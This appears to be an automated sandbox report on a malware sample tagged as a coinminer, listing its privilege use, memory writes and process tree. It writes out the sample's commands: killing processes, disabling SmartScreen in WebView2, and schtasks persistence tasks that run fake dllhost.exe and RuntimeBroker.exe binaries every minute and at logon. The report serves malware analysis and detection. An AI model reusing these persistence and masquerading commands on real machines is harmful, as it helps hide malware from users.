Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
748	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	taskkill.exe
Token: SeDebugPrivilege	4364	taskkill.exe
Token: SeDebugPrivilege	3600	taskkill.exe
Token: SeDebugPrivilege	4076	taskkill.exe
Token: SeDebugPrivilege	3820	taskkill.exe
Token: SeDebugPrivilege	5328	powershell.exe
Token: SeDebugPrivilege	5904	taskkill.exe
Token: SeIncreaseQuotaPrivilege	5328	powershell.exe
Token: SeSecurityPrivilege	5328	powershell.exe
Token: SeTakeOwnershipPrivilege	5328	powershell.exe
Token: SeLoadDriverPrivilege	5328	powershell.exe
Token: SeSystemProfilePrivilege	5328	powershell.exe
Token: SeSystemtimePrivilege	5328	powershell.exe
Token: SeProfSingleProcessPrivilege	5328	powershell.exe
Token: SeIncBasePriorityPrivilege	5328	powershell.exe
Token: SeCreatePagefilePrivilege	5328	powershell.exe
Token: SeBackupPrivilege	5328	powershell.exe
Token: SeRestorePrivilege	5328	powershell.exe
Token: SeShutdownPrivilege	5328	powershell.exe
Token: SeDebugPrivilege	5328	powershell.exe
Token: SeSystemEnvironmentPrivilege	5328	powershell.exe
Token: SeRemoteShutdownPrivilege	5328	powershell.exe
Token: SeUndockPrivilege	5328	powershell.exe
Token: SeManageVolumePrivilege	5328	powershell.exe
Token: 33	5328	powershell.exe
Token: 34	5328	powershell.exe
Token: 35	5328	powershell.exe
Token: 36	5328	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeIncreaseQuotaPrivilege	3000	powershell.exe
Token: SeSecurityPrivilege	3000	powershell.exe
Token: SeTakeOwnershipPrivilege	3000	powershell.exe
Token: SeLoadDriverPrivilege	3000	powershell.exe
Token: SeSystemProfilePrivilege	3000	powershell.exe
Token: SeSystemtimePrivilege	3000	powershell.exe
Token: SeProfSingleProcessPrivilege	3000	powershell.exe
Token: SeIncBasePriorityPrivilege	3000	powershell.exe
Token: SeCreatePagefilePrivilege	3000	powershell.exe
Token: SeBackupPrivilege	3000	powershell.exe
Token: SeRestorePrivilege	3000	powershell.exe
Token: SeShutdownPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeSystemEnvironmentPrivilege	3000	powershell.exe
Token: SeRemoteShutdownPrivilege	3000	powershell.exe
Token: SeUndockPrivilege	3000	powershell.exe
Token: SeManageVolumePrivilege	3000	powershell.exe
Token: 33	3000	powershell.exe
Token: 34	3000	powershell.exe
Token: 35	3000	powershell.exe
Token: 36	3000	powershell.exe
Token: SeIncreaseQuotaPrivilege	1356	powershell.exe
Token: SeSecurityPrivilege	1356	powershell.exe
Token: SeTakeOwnershipPrivilege	1356	powershell.exe
Token: SeLoadDriverPrivilege	1356	powershell.exe
Token: SeSystemProfilePrivilege	1356	powershell.exe
Token: SeSystemtimePrivilege	1356	powershell.exe
Token: SeProfSingleProcessPrivilege	1356	powershell.exe
Token: SeIncBasePriorityPrivilege	1356	powershell.exe
Token: SeCreatePagefilePrivilege	1356	powershell.exe
Token: SeBackupPrivilege	1356	powershell.exe
Token: SeRestorePrivilege	1356	powershell.exe
Token: SeShutdownPrivilege	1356	powershell.exe
Token: SeDebugPrivilege	1356	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3892 wrote to memory of 4460	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	89
PID 3892 wrote to memory of 3692	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	92
PID 3892 wrote to memory of 4364	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	93
PID 3692 wrote to memory of 3492	3692	FontCacheService.exe	195
PID 3692 wrote to memory of 4548	3692	FontCacheService.exe	97
PID 3892 wrote to memory of 3600	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	296
PID 3892 wrote to memory of 2424	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	288
PID 3892 wrote to memory of 956	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	104
PID 3892 wrote to memory of 4076	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	106
PID 3892 wrote to memory of 748	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	108
PID 748 wrote to memory of 3116	748	msedgewebview2.exe	109
PID 748 wrote to memory of 3004	748	msedgewebview2.exe	110
PID 748 wrote to memory of 3004	748	msedgewebview2.exe	110
PID 748 wrote to memory of 3004	748	msedgewebview2.exe	110
PID 748 wrote to memory of 3004	748	msedgewebview2.exe	110
PID 748 wrote to memory of 668	748	msedgewebview2.exe	111
PID 748 wrote to memory of 1444	748	msedgewebview2.exe	112
PID 748 wrote to memory of 1444	748	msedgewebview2.exe	112
PID 748 wrote to memory of 1444	748	msedgewebview2.exe	112
PID 748 wrote to memory of 5724	748	msedgewebview2.exe	113
PID 748 wrote to memory of 5724	748	msedgewebview2.exe	113
PID 748 wrote to memory of 5724	748	msedgewebview2.exe	113
PID 748 wrote to memory of 5724	748	msedgewebview2.exe	113
PID 748 wrote to memory of 5724	748	msedgewebview2.exe	113
PID 3892 wrote to memory of 1736	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	197
PID 3892 wrote to memory of 5520	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	356
PID 3892 wrote to memory of 2452	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	118
PID 3892 wrote to memory of 2648	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	209
PID 3892 wrote to memory of 6096	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	122
PID 3892 wrote to memory of 4804	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	335
PID 3892 wrote to memory of 3920	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	131
PID 3892 wrote to memory of 3176	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	133
PID 3892 wrote to memory of 5164	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	160
PID 3892 wrote to memory of 1892	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	192
PID 3892 wrote to memory of 1300	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	168
PID 3892 wrote to memory of 5244	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	228
PID 2288 wrote to memory of 3820	2288	dllhost.exe	154
PID 2448 wrote to memory of 2024	2448	RuntimeBroker.exe	155
PID 3892 wrote to memory of 896	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	158
PID 3892 wrote to memory of 6068	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	161
PID 2288 wrote to memory of 3156	2288	dllhost.exe	191
PID 2448 wrote to memory of 5328	2448	RuntimeBroker.exe	372
PID 2288 wrote to memory of 980	2288	dllhost.exe	336
PID 3892 wrote to memory of 1300	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	168
PID 2288 wrote to memory of 5904	2288	dllhost.exe	171
PID 3892 wrote to memory of 3556	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	172
PID 3892 wrote to memory of 472	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	368
PID 3892 wrote to memory of 3800	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	317
PID 3892 wrote to memory of 3000	3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	289
PID 2448 wrote to memory of 1356	2448	RuntimeBroker.exe	182
PID 2288 wrote to memory of 4904	2288	dllhost.exe	218
PID 2288 wrote to memory of 4328	2288	dllhost.exe	299
PID 2288 wrote to memory of 5404	2288	dllhost.exe	189
PID 2288 wrote to memory of 3156	2288	dllhost.exe	191
PID 2288 wrote to memory of 5764	2288	dllhost.exe	364
PID 2288 wrote to memory of 3492	2288	dllhost.exe	195
PID 2288 wrote to memory of 1736	2288	dllhost.exe	197
PID 2288 wrote to memory of 3776	2288	dllhost.exe	277
PID 2288 wrote to memory of 1980	2288	dllhost.exe	407
PID 2288 wrote to memory of 2008	2288	dllhost.exe	203
PID 2288 wrote to memory of 200	2288	dllhost.exe	408
PID 2288 wrote to memory of 4388	2288	dllhost.exe	264
PID 2288 wrote to memory of 2648	2288	dllhost.exe	423
PID 2288 wrote to memory of 3064	2288	dllhost.exe	211

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe"
1⤵
- Executes a file named after a Windows system binary
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3892
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM FontCacheService.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4460
- C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
  C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FontCacheDataService /XML C:\Users\Admin\AppData\Local\Temp\fcd_task.xml /F
    3⤵
    PID:3492
- - C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
    C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe --guard --watch-pid 3692
    3⤵
    - Executes dropped EXE
    PID:4548
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4364
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3600
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:2424
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:956
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4076
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --disable-features=msSmartScreenProtection --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=3892.780.8970587235223400674 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:748
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView /prefetch:4 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffd7db25fd8,0x7ffd7db25fe4,0x7ffd7db25ff0
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:3116
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1708 --field-trial-handle=1640,i,3677429591979778113,13825166363529392046,262144 --enable-features=MojoIpcz --disable-features=msSmartScreenProtection --variations-seed-version /prefetch:2 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77
    3⤵
    PID:3004
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2092 --field-trial-handle=1640,i,3677429591979778113,13825166363529392046,262144 --enable-features=MojoIpcz --disable-features=msSmartScreenProtection --variations-seed-version /prefetch:3 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77
    3⤵
    PID:668
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2208 --field-trial-handle=1640,i,3677429591979778113,13825166363529392046,262144 --enable-features=MojoIpcz --disable-features=msSmartScreenProtection --variations-seed-version /prefetch:8 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77
    3⤵
    PID:1444
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3560 --field-trial-handle=1640,i,3677429591979778113,13825166363529392046,262144 --enable-features=MojoIpcz --disable-features=msSmartScreenProtection --variations-seed-version /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77 /prefetch:1
    3⤵
    PID:5724
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=3612 --field-trial-handle=1640,i,3677429591979778113,13825166363529392046,262144 --enable-features=MojoIpcz --disable-features=msSmartScreenProtection --variations-seed-version /prefetch:2 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77
    3⤵
    PID:2344
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=4436 --field-trial-handle=1640,i,3677429591979778113,13825166363529392046,262144 --enable-features=MojoIpcz --disable-features=msSmartScreenProtection --variations-seed-version /prefetch:8 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77
    3⤵
    PID:4992
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=3892 --field-trial-handle=1640,i,3677429591979778113,13825166363529392046,262144 --enable-features=MojoIpcz --disable-features=msSmartScreenProtection --variations-seed-version /prefetch:8 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77
    3⤵
    PID:5164
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4480 --field-trial-handle=1640,i,3677429591979778113,13825166363529392046,262144 --enable-features=MojoIpcz --disable-features=msSmartScreenProtection --variations-seed-version /prefetch:8 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77
    3⤵
    PID:1776
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=3908 --field-trial-handle=1640,i,3677429591979778113,13825166363529392046,262144 --enable-features=MojoIpcz --disable-features=msSmartScreenProtection --variations-seed-version /prefetch:8 /pfhostedapp:6c6c1370761348620fc1553ff6695ec225a21a77
    3⤵
    PID:3768
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1736
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:5520
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:2452
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2648
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6096
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:4804
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:3920
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3176
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5164
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:1892
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  PID:1300
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5244
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:896
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:6068
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1300
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3556
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  PID:472
- C:\Windows\system32\schtasks.exe
